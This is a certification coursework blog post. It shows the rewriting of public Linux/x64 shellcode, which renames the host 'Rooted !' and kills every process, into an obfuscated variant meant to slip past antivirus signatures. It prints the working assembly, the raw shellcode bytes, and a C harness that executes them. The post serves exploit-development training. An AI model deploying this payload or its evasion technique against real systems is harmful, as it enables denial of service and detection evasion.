11 Minute Read
Student ID: SLAE64-1611

Assignment Six: Polymorphic Conversion of Linux/x64 Shellcode Part One of Three - sethostname() & killall

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64 Certification:
https://www.pentesteracademy.com/course?id=7

All code can be found in: https://github.com/securitychops/security-tube-slae64

All work was tested on a 64bit version of Ubuntu 18.04.1 LTS

TLDR; - JMP short Final_Breakdown


If you have not already read my post from the 32bit version of the SLAE (Polymorphic Conversion of Shellcode Part One of Three - kill(-1, SIGKILL) (x86 edition)) then I would highly encourage you to do so before continuing forward since I will not be going into quite the same level of extreme detail I did in that post…

Part one of assignment six of the SLAE64 has us performing our first polymorphic transformation on the Linux/x64 shellcode taken from shell-storm.org:
sethostname() & killall

As you can see from the assembly code below, and at the provided link, this is not a very complex set of code since for the first assignment dealing with polymorphic alterations to shellcode I wanted to keep it simple, so that is exactly what I did!

The very first thing that we should do is start analyzing the shellcode that we will perform our polymorphic transformation on, and since the shellcode author was kind enough to provide us with the source assembly we can immediately jump into the analysis of the first instruction by again referencing /usr/include/x86_64-linux-gnu/asm/uninstd_64.h. Doing so will show us that we will be calling two different functions, the first of which is sys_sethostname (0xaa/170) and the second of which will be sys_kill (0x3e/62).

    section .text
        global _start
 
    _start:
 
        ;-- setHostName("Rooted !"); 22 bytes --;
        mov     al, 0xaa
        mov     r8, 'Rooted !'
        push    r8
        mov     rdi, rsp
        mov     sil, 0x8
        syscall
 
        ;-- kill(-1, SIGKILL); 11 bytes --;
        push    byte 0x3e
        pop     rax
        push    byte 0xff
        pop     rdi
        push    byte 0x9
        pop     rsi
        syscall
http://shell-storm.org/shellcode/files/shellcode-605.php


Before doing so however we need to stop for a moment and figure out how big this shellcode we will be transforming is and since the shellcode author was kind enough to provide us with the final shellcode (and the size), we can just check the length of theirs:

\xb0\xaa\x49\xb8\x52\x6f\x6f\x74\x65\x64\x20\x21\x41\x50\x48\x89\xe7\x40\xb6\x08\x0f\x05\x6a\x3e\x58\x6a\xff\x5f\x6a\x09\x5e\x0f\x05


The shellcode size we end up with is only 33 bytes, which means that in order to be within an acceptable range of no larger than 150% of the size of the original shellcode we can’t end up any larger than 49 bytes for our shellcode!

At this point in the course we have gotten into a pretty good rhythm about how to change things up in our shellcode to avoid nulls and slightly obfuscate it, and this assignment is no exception!

Behold, I preset to you our new assembly, which ends up only being 48 bytes long, one whole bytes under our original target!

; Student ID     : SLAE64-1611
; Student Name   : Jonathan "Chops" Crosby
; Assignment 6.1 : Polymorphic Conversion of Linux/x64 Shellcode Part One of Three - sethostname() & killall
; File Name      : hostname-killall.nasm
; Shell Storm    : http://shell-storm.org/shellcode/files/shellcode-605.php

global _start

section .text
 
_start:

;-- setHostName("Rooted !");

				; we are changing up how we
				; set rax to 0xaa
xor     rax, rax		; zeroing out rax
add	al, 0x50		; adding 80
add	al, 0x5a		; adding 90
		
				; just changed which register
				; andm moved in via hex instead
mov	r11, 0x21206465746F6F52	; Rooted !
push    r11			; that we used
mov     rdi, rsp		; moving Rooted to rdi

mov	rsi, rax		; moving 0xaa into rsi
sub     sil, 0xa2		; and subing it down to 0x08
		
syscall				; calling sethostname
 

;-- kill(-1, SIGKILL);
				; rax should be a zero already
				; from previous call
add	al, 0x3e		; adding 62
mov	rdi, rsi		; moving 8 into rdi from
				; previous function
sub	dil, 0x07		; setting rdi to 1
neg	rdi			; flip from 1 to -1
inc	rsi			; set rsi to 9 for SIGKILL
syscall				; call kill
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/killall-hostname.nasm


The main take away from the changes that were made is that we are really just looking for alternate ways to achieve the same result. In a real world scenario if we tried to use known shellcode the odds of the signature being detected by AV is pretty high. However, if we understand the shellcode (and what it is doing) we can easily go in and obfuscate it slightly in order to make it a little less obvious. I also leveraged register values used for the first function and simply added or subtracted from them in order to cause them to end up being the desired values.

And just like in all the previous posts thus far we go ahead and compile our assembly as such:

./compile.sh hostname-killall
[+] Assembling 64bit with Nasm ... 
[+] Linking ...
[+] Done!

At this point we can do a quick check of what it looks like through objdump like so:

objdump -d -M intel hostname-killall

Which produces the following output, notice how there are no nulls!

hostname-killall:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080:	48 31 c0             	xor    rax,rax
  400083:	04 50                	add    al,0x50
  400085:	04 5a                	add    al,0x5a
  400087:	49 bb 52 6f 6f 74 65 	movabs r11,0x21206465746f6f52
  40008e:	64 20 21 
  400091:	41 53                	push   r11
  400093:	48 89 e7             	mov    rdi,rsp
  400096:	48 89 c6             	mov    rsi,rax
  400099:	40 80 ee a2          	sub    sil,0xa2
  40009d:	0f 05                	syscall 
  40009f:	04 3e                	add    al,0x3e
  4000a1:	48 89 f7             	mov    rdi,rsi
  4000a4:	40 80 ef 07          	sub    dil,0x7
  4000a8:	48 f7 df             	neg    rdi
  4000ab:	48 ff c6             	inc    rsi
  4000ae:	0f 05                	syscall

Once we have the assembled binary (and tested that it worked correctly) we again were able to extract the shellcode as follows:

for i in $(objdump -D hostname-killall.o |grep "^ " |cut -f2);do echo -n '\x'$i;done;echo

Which produces the following 48 bytes of shellcode:

\x48\x31\xc0\x04\x50\x04\x5a\x49\xbb\x52\x6f\x6f\x74\x65\x64\x20\x21\x41\x53\x48\x89\xe7\x48\x89\xc6\x40\x80\xee\xa2\x0f\x05\x04\x3e\x48\x89\xf7\x40\x80\xef\x07\x48\xf7\xdf\x48\xff\xc6\x0f\x05


At this point we are now able to replace the shellcode in our helper C program as such:

// Student ID   : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 6 : Shell Code Test File
// File Name    : hostname-killall.c

#include<stdio.h>
#include<string.h>

//compile with: gcc hostname-killall.c -o hostname-killall -fno-stack-protector -z execstack -no-pie

unsigned char code[] = \
"\x48\x31\xc0\x04\x50\x04\x5a\x49\xbb\x52\x6f\x6f\x74\x65\x64\x20\x21\x41\x53\x48\x89\xe7\x48\x89\xc6\x40\x80\xee\xa2\x0f\x05\x04\x3e\x48\x89\xf7\x40\x80\xef\x07\x48\xf7\xdf\x48\xff\xc6\x0f\x05";

main()
{
	printf("Shellcode Length:  %zu\n", strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/hostname-killall.c


And then we are able to compile our final binary and execute the shellcode as though it were being injected into the memory of a victim process

gcc hostname-killall.c -o hostname-killall -fno-stack-protector -z execstack -no-pie


Animated gif of the complete compilation and running of our polymorphic shellcode!

Since our shellcode is updating the hostname and then issuing a kill command (which will disconnect us) I figured I would show the process through three images.

Before Running The Code

The first image will shows our VM running in proxmox. Notice that the hostname is set to slae64

ProxMox

Running The Code

Next up we connect to the host, run the code and are then disconnected

slae64

After Running The Code


Pre Login

Before even logging in we can tell that our code worked!

Rooted Login


Post Login

After getting logged in we can see that this is still the same machine and that our hostname is indeed Rooted !

Rooted Post Login

Final_Breakdown:


Below are the contents of the final code needed to generate our 48 byte polymorphic obfuscated shellcode inspired by the shellcode found at: Linux/x86_64 sethostname() & killall 33 bytes shellcode.

Assembly Code

; Student ID     : SLAE64-1611
; Student Name   : Jonathan "Chops" Crosby
; Assignment 6.1 : Polymorphic Conversion of Linux/x64 Shellcode Part One of Three - sethostname() & killall
; File Name      : hostname-killall.nasm
; Shell Storm    : http://shell-storm.org/shellcode/files/shellcode-605.php

global _start

section .text
 
_start:

;-- setHostName("Rooted !");

				; we are changing up how we
				; set rax to 0xaa
xor     rax, rax		; zeroing out rax
add	al, 0x50		; adding 80
add	al, 0x5a		; adding 90
		
				; just changed which register
				; andm moved in via hex instead
mov	r11, 0x21206465746F6F52	; Rooted !
push    r11			; that we used
mov     rdi, rsp		; moving Rooted to rdi

mov	rsi, rax		; moving 0xaa into rsi
sub     sil, 0xa2		; and subing it down to 0x08
		
syscall				; calling sethostname
 

;-- kill(-1, SIGKILL);
				; rax should be a zero already
				; from previous call
add	al, 0x3e		; adding 62
mov	rdi, rsi		; moving 8 into rdi from
				; previous function
sub	dil, 0x07		; setting rdi to 1
neg	rdi			; flip from 1 to -1
inc	rsi			; set rsi to 9 for SIGKILL
syscall				; call kill
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/killall-hostname.nasm

Helper Compile Bash Script

#!/bin/bash

echo '[+] Assembling 64bit with Nasm ... '
nasm -f elf64 -o $1.o $1.nasm

echo '[+] Linking ...'
ld -o $1 $1.o

echo '[+] Done!'
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/compile.sh

Final C Program To Execute Shellcode

// Student ID   : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 6 : Shell Code Test File
// File Name    : hostname-killall.c

#include<stdio.h>
#include<string.h>

//compile with: gcc hostname-killall.c -o hostname-killall -fno-stack-protector -z execstack -no-pie

unsigned char code[] = \
"\x48\x31\xc0\x04\x50\x04\x5a\x49\xbb\x52\x6f\x6f\x74\x65\x64\x20\x21\x41\x53\x48\x89\xe7\x48\x89\xc6\x40\x80\xee\xa2\x0f\x05\x04\x3e\x48\x89\xf7\x40\x80\xef\x07\x48\xf7\xdf\x48\xff\xc6\x0f\x05";

main()
{
	printf("Shellcode Length:  %zu\n", strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/hostname-killall.c

Jonathan Crosby

growing my chops in cybersecurity
(all opinions are my own and not the views of my employer)